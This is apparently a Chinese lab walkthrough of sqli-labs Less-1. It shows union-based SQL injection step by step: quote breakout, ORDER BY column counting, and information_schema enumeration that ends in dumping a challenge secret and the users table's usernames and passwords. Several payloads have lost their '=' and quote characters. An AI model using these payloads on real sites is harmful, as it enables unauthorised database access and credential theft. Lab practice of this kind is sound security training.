less-1 union 注入
注入类型判断--推测字段数量--可显字段--获取数据库输入?id1测试有回显证明是get参数输入?id1语句闭合后报错证明后台的mysql语句可能是 select * from 表明 where id1 LIMIT 0,1 ... 输入?id1 -- 把后面的 注释掉不执行id1 后的语句恢复正常注%27是 的URL编码。-- 等于#,在less-1里被屏蔽了。猜测字段数量输入?id1 order by 3 -- 回显正常再输入?id1 order by by 4 #报错证明3个字段数量是数据库查询的极限字段数量输入一个?id-1语句构造一个为假的语句为后面执行union 语句?id-1 union select 1,2,3 --知道可显字段之后就是构造恶意sql语句查询数据库?id-1 union select 1,2,schema_name from information_schema.schemata --查询之后只有一个数据库我们加入group_concat()函数查询所有数据库名字。?id-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --注group_concat()聚合函数将分组中的多个字符串连接成一个字符串。我们直接复制下来information_schema,challenges,mysql,performance_schema,security其中information_schema是MySQL 5.0.2加入的数据库作用是提供对数据库元数据如数据库、表、列、权限等的只读访问。mysql数据库自mysql诞生起就有的核心部分作用是存储用户账号、权限、存储过程、时区、插件等关键配置。performance_schema是MySQL 5.5版本才加入的主要用于在运行时检测服务器的内部执行情况提供低级别的性能监控数据。接下来查询表我们主要查询用户自创建的数据库 challenges,security 。我们通过构造的语句查询 challenges数据库?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemachallenges --注tables表是information_schema数据库中用于存储数据库所有表及视图元数据的一张表。现在我们查询数据库下的表的字段?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemachallenges and table_nameXL0NQBG7X1 --知道了数据库名数据库下的表名字段名我们直接查询即可我们就查询其中的sessid字段和secret_s5PR字段?id-1 union select 1,group_concat(sessid),group_concat(secret_25PR) from challenges.XL0NQBG7X1 --?id-1 union select 1,2,group_concat(concat(sessid, |, secret_25PR)) from challenges.XL0NQBG7X1 --注group_concat(concat(sessid, |, secret_25PR)) 里面的 | 用来分隔显示的数据。还有security数据库获取security数据库下的表名?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity --获取users表的字段名?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers --在获取users表的数据?id-1 union select 1,2,group_concat(concat(username,|,password)) from security.users --其他的思路都是一样这里就不再赘述。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2565992.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!